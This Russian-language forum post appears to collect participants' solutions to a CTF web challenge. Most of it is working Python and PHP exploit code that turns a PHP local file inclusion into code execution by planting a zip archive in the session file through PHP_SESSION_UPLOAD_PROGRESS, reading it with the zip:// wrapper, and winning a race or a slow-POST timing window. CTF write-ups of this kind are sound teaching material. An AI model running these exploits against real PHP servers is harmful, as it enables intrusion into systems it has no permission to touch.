HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 29.06.2019, 10:14
dooble
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами: 4931606

Репутация: 138
По умолчанию

Прохождения участников:

Цитата:
Сообщение от =HALK=  

Эксплойт с гонкой, которую я всегда выигрываю со своим пингом)
Код:
import requests
from threading import Thread
import base64
import time

data = {'PHP_SESSION_UPLOAD_PROGRESS':base64.b64decode('AAAAAAAAAAAAAAIAAABmL1BLAwQKAAAAAACdVdBOUIPMfRIAAAASAAAACgAAAGYvdGVzdC5waHA8P3BocCBwaHBpbmZvKCk7Pz5QSwMECgAAAAAAebLPTlrf2AAGAQAABgEAAAkAAABpbmRleC5waHA8P3BocA0KDQppZihpc3NldCgkX0dFVFsnZiddKSAmJiBiYXNlbmFtZSgkX0dFVFsnZiddKT09PSd0ZXN0LnBocCcpew0KCWluY2x1ZGUoJF9HRVRbJ2YnXSk7DQp9ZWxzZXsNCmVjaG8gJzxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjgsIDE0LCAxNCk7Ij48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij48aW1nIHN0eWxlPSIgaGVpZ2h0OiAxMDAwcHg7IiBzcmM9ImRlcmV2YS5qcGciPjwvZGl2PjwvYm9keT4nOw0KDQp9DQo/Pg0KUEsBAj8AFAAAAAAAlFXQTgAAAAAAAAAAAAAAAAIAJAAAAAAAAAAQAAAAAAAAAGYvCgAgAAAAAAABABgAJoqHWhck1QEmiodaFyTVAb/vPUwXJNUBUEsBAj8ACgAAAAAAnVXQTlCDzH0SAAAAEgAAAAoAJAAAAAAAAAAgAAAAIAAAAGYvdGVzdC5waHAKACAAAAAAAAEAGACYR0ZlFyTVAVKb3lYXJNUBUpveVhck1QFQSwECPwAKAAAAAAB5ss9OWt/YAAYBAAAGAQAACQAkAAAAAAAAACAAAABaAAAAaW5kZXgucGhwCgAgAAAAAAABABgA364RTa8j1QEALWVxAyLVAW8KaNiDDNUBUEsFBgAAAAADAAMACwEAAIcBAAAAAA==')}
files = {'file':'A'*5000*1024}
cookies = {'PHPSESSID':'test'}

def send():
    requests.post('http://task.antichat.com:10008/', cookies=cookies, data=data, files=files)

def get():
    time.sleep(0.2)
    r = requests.get('http://task.antichat.com:10008/?f=zip:///var/lib/php/sessions/sess_test%23f/test.php')
    print r.text.encode("utf-8")

thread1 = Thread(target=send)
thread2 = Thread(target=get)

thread1.start()
thread2.start()
thread1.join()
thread2.join()
Цитата:
Сообщение от nix_security  

Привет, решил таск, пока через race condition
Есть две проблемы:
1. Необходимо добиться RCE через LFI. Тут
https://github.com/orangetw/My-CTF-W...-php-challenge
узнал описано, что создать сессию в php возможно без session_start если воспользоваться параметром
PHP_SESSION_UPLOAD_PROGRESS.
2. Необходимо забайпасить функцию basename. На ум сразу приходит враппер zip://, который разжевали в предыдущем таске.
Итак, делаем архив:
Код:
zip tmp.zip ./tmp/test.php;
ehco -n "upload_progress_" > temp2.zip; cat tmp.zip> temp2.zip;
zip -F temp2.zip --out ./test-res.zip
Модифицируем эксплойт китайцев:
Код:
#!/usr/bin/env python3

import requests
import sys
from multiprocessing.dummy import Pool as ThreadPool

HOST = 'http://task.antichat.com:10008/'
sess_name = 'test'

headers = {
   'Connection': 'close',
   'Cookie': 'PHPSESSID=' + sess_name
}

payload = open('test-res.zip', 'rb').read()
print(payload)

data = {
   'PHP_SESSION_UPLOAD_PROGRESS': payload
   }

def runner_post(i):
   fp = open('test', 'rb')
   while 1:
       r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
   fp.close()

def runner_get(i):
   while 1:
       r = requests.get(HOST + "index.php?f=zip:///var/lib/php/sessions/sess_test%23tmp/test.php")
       if "phpinfo()" in r.text:
           print(r.text)
           break

if sys.argv[1] == '1':
   runner = runner_get
else:
   runner = runner_post

pool = ThreadPool(5)
res = pool.map_async(runner,range(5)).get(0xffff)
Запускаем и через пару минут видим phpinfo)
P.S. Способ без гонки, через slow query попробую отладить на днях
Цитата:
Сообщение от nix_security  

Привет!
Переделал эксплойт через slow query. Пэйлоад тот же, мы просто отправим http запрос на загрузку файла через сокет и после начала передачи поставим sleep. Важно, чтобы размер переданной части файла + заголовков был больше буфера. Тогда файл сессии флашнется на диск.
Заявленная длина передаваемого файла должна быть больше того, что мы передадим фактически. Корректную концовку запроса (конец файла\r\n + --boundary--\r\n) отправлять необязательно. Во время паузы у атакующего появляется окно, чтобы заинклудить пэйлоад:
Код:
#!/usr/bin/env python3

import os
import time
import socket
import requests

# Target
hostname = "task.antichat.com"
port = 10008

# Params
sess_name = 'test'
user_agent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"

'''
payload gen:
   zip payload.zip ./tmp/test.php
   echo -n  "upload_progress_"  > ./tmp.zip
   cat payload.zip >> ./tmp.zip
   zip -F tmp.zip --out result.zip
   xxd result.zip
'''

payload = b'PK\x03\x04\n\x00\x00\x00\x00\x00\x11\x87\xd0N\xe4\x9b\xc1Y' + \
         b'\x13\x00\x00\x00\x13\x00\x00\x00\x0c\x00\x1c\x00tmp/test.p' + \
         b'hpUT\t\x00\x03\xc1t\x06]\xc1t\x06]ux\x0b\x00\x01\x04\x00\x00' + \
         b'\x00\x00\x04\x00\x00\x00\x00\nPK\x01\x02' + \
         b'\x1e\x03\n\x00\x00\x00\x00\x00\x11\x87\xd0N\xe4\x9b\xc1Y\x13' + \
         b'\x00\x00\x00\x13\x00\x00\x00\x0c\x00\x18\x00\x00\x00\x00\x00' + \
         b'\x01\x00\x00\x00\xa4\x81\x10\x00\x00\x00tmp/test.phpUT\x05' + \
         b'\x00\x03\xc1t\x06]ux\x0b\x00\x01\x04\x00\x00\x00\x00\x04\x00' + \
         b'\x00\x00\x00PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00R\x00' + \
         b'\x00\x00i\x00\x00\x00\x00\x00\n'

def slow_post():

   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.settimeout(20)
   s.connect((hostname, port))

   boundary = "d616cb44a03dd005920d52707fcfce66"

   body_len = 50000  # len must be more than real

   post_req = (
       "POST / HTTP/1.1\r\n" +
       "Host: %s\r\n" % hostname +
       "User-Agent: %s\r\n" % user_agent +
       "Cookie: PHPSESSID=%s;\r\n" % sess_name +
       "Accept: */*\r\n" +
       "Content-Length: %i\r\n" % body_len +
       "Accept-Encoding: text\r\n" +
       "Content-Type: multipart/form-data; boundary=%s\r\n" % boundary +
       "\r\n--%s\r\n" % boundary +
       "Content-Disposition: form-data;" +
       "name=\"PHP_SESSION_UPLOAD_PROGRESS\"\r\n" +
       "\r\n"
   ).encode("utf-8") + \
       payload + (
        "\r\n--%s\r\n" % boundary +
        "Content-Disposition: form-data; name=\"f\"; filename=\"test\"\r\n" +
        "\r\n" + "test" * 10000  # chunk must be more than buffer
       ).encode("utf-8")

   print("Send slow post request")
   s.send(post_req)
   # pause file upload
   time.sleep(10)
   # file will not ever uploaded

def get_lfi():
   url = "http://%s:%i" % (hostname, port) + \
       "/index.php?f=zip:///var/lib/php/sessions/sess_%s%%23tmp/test.php" % sess_name

   print("Include session file:", url, sep="\n")

   headers = {
       "User-Agent": user_agent
   }
   r = requests.get(url, headers=headers)
   return r.text

if __name__ == '__main__':
   pid = os.fork()
   if pid:
       # wait for a start upload
       time.sleep(1)
       print("PHPINFO:", get_lfi(), sep="\n")
   else:
       slow_post()
P.S. Спасибо за таск!
Цитата:
Сообщение от joelblack  

Привет,спасибо за таск, очень зашел, открыл для себя в процессе решения некоторые фишки, о которых не знал ранее. Итак, тестировал все на
win10+OSPanel 5.3.0+php7.3.2+
Apache2.4
Пока читаем таск8, видим жирный намек на оранжа:
http://blog.orange.tw/2018/10/hitcon...challenge.html
Исходя из исследования оранжа, понимаем, что при определенных условиях мы можем писать произвольные данные в сессию. Но тут есть 2 проблемы:
Первая
Код:
if(isset($_GET['f']) && basename($_GET['f'])==='test.php') include($_GET['f']);
Из чего следует,что полностью все по ресерчу сделать не получится, так как все портит basename().
Вторая
Из-за настройки по умолчанию для session.upload_progress.prefix наш сессионный файл будет начинаться с префикса
upload_progress_
Смотрим
task7
:
/threads/470693/page-2#post-4310093
Обращаем внимание на архив
ZIP
. Идем в документацию PHP и смотрим соответствующий враппер:

https://www.php.net/manual/ru/wrappers.compression.php

Код:
zip://archive.zip#dir/file.txt
Так как можно обращаться непосредственно к файлам внутри архива,необходимо создать нужную структуру внутри ,и тогда basename() вернет true после чего
Первая
проблема решена.Далее как формировать архив, и как он решит вторую проблему описано в таске7, так что остается адаптировать готовое решение:
zip.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"upload_progress_"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$local_path_to_archive[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"final.zip"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$inc_file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"abs/test.php"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]file_put_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$inc_file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$evil_code[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$zip[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]ZipArchive[/COLOR][COLOR="#007700"]();
if ([/COLOR][COLOR="#0000BB"]$zip[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$local_path_to_archive[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ZIPARCHIVE[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]CREATE[/COLOR][COLOR="#007700"])!==[/COLOR][COLOR="#0000BB"]TRUE[/COLOR][COLOR="#007700"]) {
exit([/COLOR][COLOR="#DD0000"]"could not open file[/COLOR][COLOR="#0000BB"]$local_path_to_archive[/COLOR][COLOR="#DD0000"]\n"[/COLOR][COLOR="#007700"]);
}
[/COLOR][COLOR="#0000BB"]$zip[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addFromString[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$zip[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addFile[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$inc_file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"abs/test.php"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$zip[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]close[/COLOR][COLOR="#007700"]();[/COLOR][/COLOR] 
Затем, как сформировали готовый архив,вырезаем оттуда
upload_progress_
.После этого фактически
Вторая
проблема решена. Остается отправить все это дело.

По умолчанию
session.upload_progress.cleanup
в PHP
включен
. Это означает, что прогресс загрузки в сеансе будет очищен как можно скорее. На лицо
Race Condition
. У оранжа есть готовый POC, который не много изменив, можно применить и здесь. Я разбил его на 2 файла:

uploader_rc.py

Код:
import requests

HOST = 'http://localhost'
sess_name = 'test'

headers = {
    'Connection': 'close',
    'Cookie': 'PHPSESSID=' + sess_name
}

while 1:
  fp = open('D:\\OSPanel\\domains\\task8\\test.txt', 'rb')
  r = requests.post(HOST, files={'f': fp}, data={'PHP_SESSION_UPLOAD_PROGRESS':open('D:\\OSPanel\\domains\\task8\\final.zip', 'rb').read()}, headers=headers)
  fp.close()
  print('Send!')
uploader_rc_get.py
Код:
import requests

HOST = 'http://localhost'
sess_name = 'test'

headers = {
    'Connection': 'close',
    'Cookie': 'PHPSESSID=' + sess_name
}

filename = 'zip://D:\\ospanel\\userdata\\temp\\sess_' + sess_name+ '%23abs/test.php'

while 1:
    url = '%s?f=%s' % (HOST, filename)
    r = requests.get(url, headers=headers)
    c = r.content
    if c.find('PHP Version') != -1:
      print(c)
      break
Остается лишь запустить 2 файла, после чего получим результат работы функции phpinfo();
Spoiler: img

 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.